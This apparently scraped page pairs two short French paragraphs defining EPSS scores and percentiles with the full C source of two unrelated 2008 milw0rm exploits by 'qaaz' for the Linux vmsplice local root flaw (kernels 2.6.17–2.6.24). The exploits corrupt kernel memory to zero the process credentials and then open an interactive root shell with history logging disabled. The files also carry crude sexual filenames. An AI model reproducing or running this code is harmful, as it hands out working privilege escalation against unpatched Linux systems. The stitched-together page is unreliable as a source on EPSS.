Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* * jessica_biel_naked_in_my_bed.c * * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura. * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca. * Stejnak je to stare jak cyp a aj jakesyk rozbite. * * Linux vmsplice Local Root Exploit * By qaaz * * Linux 2.6.17 - 2.6.24.1 * * This is quite old code and I had to rewrite it to even compile. * It should work well, but I don't remeber original intent of all * the code, so I'm not 100% sure about it. You've been warned ;) * * -static -Wno-format */ #define _GNU_SOURCE #include <stdio.h> #include <errno.h> #include <stdlib.h> #include <string.h> #include <malloc.h> #include <limits.h> #include <signal.h> #include <unistd.h> #include <sys/uio.h> #include <sys/mman.h> #include <asm/page.h> #define __KERNEL__ #include <asm/unistd.h> #define PIPE_BUFFERS 16 #define PG_compound 14 #define uint unsigned int #define static_inline static inline __attribute__((always_inline)) #define STACK(x) (x + sizeof(x) - 40) struct page { unsigned long flags; int count; int mapcount; unsigned long private; void *mapping; unsigned long index; struct { long next, prev; } lru; }; void exit_code(); char exit_stack[1024 * 1024]; void die(char *msg, int err) { printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err)); fflush(stdout); fflush(stderr); exit(1); } #if defined (__i386__) #ifndef __NR_vmsplice #define __NR_vmsplice 316 #endif #define USER_CS 0x73 #define USER_SS 0x7b #define USER_FL 0x246 static_inline void exit_kernel() { __asm__ __volatile__ ( "movl %0, 0x10(%%esp) ;" "movl %1, 0x0c(%%esp) ;" "movl %2, 0x08(%%esp) ;" "movl %3, 0x04(%%esp) ;" "movl %4, 0x00(%%esp) ;" "iret" : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), "i" (USER_CS), "r" (exit_code) ); } static_inline void * get_current() { unsigned long curr; __asm__ __volatile__ ( "movl %%esp, %%eax ;" "andl %1, %%eax ;" "movl (%%eax), %0" : "=r" (curr) : "i" (~8191) ); return (void *) curr; } #elif defined (__x86_64__) #ifndef __NR_vmsplice #define __NR_vmsplice 278 #endif #define USER_CS 0x23 #define USER_SS 0x2b #define USER_FL 0x246 static_inline void exit_kernel() { __asm__ __volatile__ ( "swapgs ;" "movq %0, 0x20(%%rsp) ;" "movq %1, 0x18(%%rsp) ;" "movq %2, 0x10(%%rsp) ;" "movq %3, 0x08(%%rsp) ;" "movq %4, 0x00(%%rsp) ;" "iretq" : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), "i" (USER_CS), "r" (exit_code) ); } static_inline void * get_current() { unsigned long curr; __asm__ __volatile__ ( "movq %%gs:(0), %0" : "=r" (curr) ); return (void *) curr; } #else #error "unsupported arch" #endif #if defined (_syscall4) #define __NR__vmsplice __NR_vmsplice _syscall4( long, _vmsplice, int, fd, struct iovec *, iov, unsigned long, nr_segs, unsigned int, flags) #else #define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl)) #endif static uint uid, gid; void kernel_code() { int i; uint *p = get_current(); for (i = 0; i < 1024-13; i++) { if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { p[0] = p[1] = p[2] = p[3] = 0; p[4] = p[5] = p[6] = p[7] = 0; p = (uint *) ((char *)(p + 8) + sizeof(void *)); p[0] = p[1] = p[2] = ~0; break; } p++; } exit_kernel(); } void exit_code() { if (getuid() != 0) die("wtf", 0); printf("[+] root\n"); putenv("HISTFILE=/dev/null"); execl("/bin/bash", "bash", "-i", NULL); die("/bin/bash", errno); } int main(int argc, char *argv[]) { int pi[2]; size_t map_size; char * map_addr; struct iovec iov; struct page * pages[5]; uid = getuid(); gid = getgid(); setresuid(uid, uid, uid); setresgid(gid, gid, gid); printf("-----------------------------------\n"); printf(" Linux vmsplice Local Root Exploit\n"); printf(" By qaaz\n"); printf("-----------------------------------\n"); if (!uid || !gid) die("!@#$", 0); /*****/ pages[0] = *(void **) &(int[2]){0,PAGE_SIZE}; pages[1] = pages[0] + 1; map_size = PAGE_SIZE; map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[0]); printf("[+] page: 0x%lx\n", pages[1]); pages[0]->flags = 1 << PG_compound; pages[0]->private = (unsigned long) pages[0]; pages[0]->count = 1; pages[1]->lru.next = (long) kernel_code; /*****/ pages[2] = *(void **) pages[0]; pages[3] = pages[2] + 1; map_size = PAGE_SIZE; map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[2]); printf("[+] page: 0x%lx\n", pages[3]); pages[2]->flags = 1 << PG_compound; pages[2]->private = (unsigned long) pages[2]; pages[2]->count = 1; pages[3]->lru.next = (long) kernel_code; /*****/ pages[4] = *(void **) &(int[2]){PAGE_SIZE,0}; map_size = PAGE_SIZE; map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[4]); /*****/ map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE; map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); /*****/ map_size -= 2 * PAGE_SIZE; if (munmap(map_addr + map_size, PAGE_SIZE) < 0) die("munmap", errno); /*****/ if (pipe(pi) < 0) die("pipe", errno); close(pi[0]); iov.iov_base = map_addr; iov.iov_len = ULONG_MAX; signal(SIGPIPE, exit_code); _vmsplice(pi[1], &iov, 1, 0); die("vmsplice", errno); return 0; } // milw0rm.com [2008-02-09]

/* * diane_lane_fucked_hard.c * * Linux vmsplice Local Root Exploit * By qaaz * * Linux 2.6.23 - 2.6.24 */ #define _GNU_SOURCE #include <stdio.h> #include <errno.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/uio.h> #define TARGET_PATTERN " sys_vm86old" #define TARGET_SYSCALL 113 #ifndef __NR_vmsplice #define __NR_vmsplice 316 #endif #define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl)) #define gimmeroot() syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4) #define TRAMP_CODE (void *) trampoline #define TRAMP_SIZE ( sizeof(trampoline) - 1 ) unsigned char trampoline[] = "\x8b\x5c\x24\x04" /* mov 0x4(%esp),%ebx */ "\x8b\x4c\x24\x08" /* mov 0x8(%esp),%ecx */ "\x81\xfb\x69\x7a\x00\x00" /* cmp $31337,%ebx */ "\x75\x02" /* jne +2 */ "\xff\xd1" /* call *%ecx */ "\xb8\xea\xff\xff\xff" /* mov $-EINVAL,%eax */ "\xc3" /* ret */ ; void die(char *msg, int err) { printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err)); fflush(stdout); fflush(stderr); exit(1); } long get_target() { FILE *f; long addr = 0; char line[128]; f = fopen("/proc/kallsyms", "r"); if (!f) die("/proc/kallsyms", errno); while (fgets(line, sizeof(line), f)) { if (strstr(line, TARGET_PATTERN)) { addr = strtoul(line, NULL, 16); break; } } fclose(f); return addr; } static inline __attribute__((always_inline)) void * get_current() { unsigned long curr; __asm__ __volatile__ ( "movl %%esp, %%eax ;" "andl %1, %%eax ;" "movl (%%eax), %0" : "=r" (curr) : "i" (~8191) ); return (void *) curr; } static uint uid, gid; void kernel_code() { int i; uint *p = get_current(); for (i = 0; i < 1024-13; i++) { if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { p[0] = p[1] = p[2] = p[3] = 0; p[4] = p[5] = p[6] = p[7] = 0; p = (uint *) ((char *)(p + 8) + sizeof(void *)); p[0] = p[1] = p[2] = ~0; break; } p++; } } int main(int argc, char *argv[]) { int pi[2]; long addr; struct iovec iov; uid = getuid(); gid = getgid(); setresuid(uid, uid, uid); setresgid(gid, gid, gid); printf("-----------------------------------\n"); printf(" Linux vmsplice Local Root Exploit\n"); printf(" By qaaz\n"); printf("-----------------------------------\n"); if (!uid || !gid) die("!@#$", 0); addr = get_target(); printf("[+] addr: 0x%lx\n", addr); if (pipe(pi) < 0) die("pipe", errno); iov.iov_base = (void *) addr; iov.iov_len = TRAMP_SIZE; write(pi[1], TRAMP_CODE, TRAMP_SIZE); _vmsplice(pi[0], &iov, 1, 0); gimmeroot(); if (getuid() != 0) die("wtf", 0); printf("[+] root\n"); putenv("HISTFILE=/dev/null"); execl("/bin/bash", "bash", "-i", NULL); die("/bin/bash", errno); return 0; } // milw0rm.com [2008-02-09]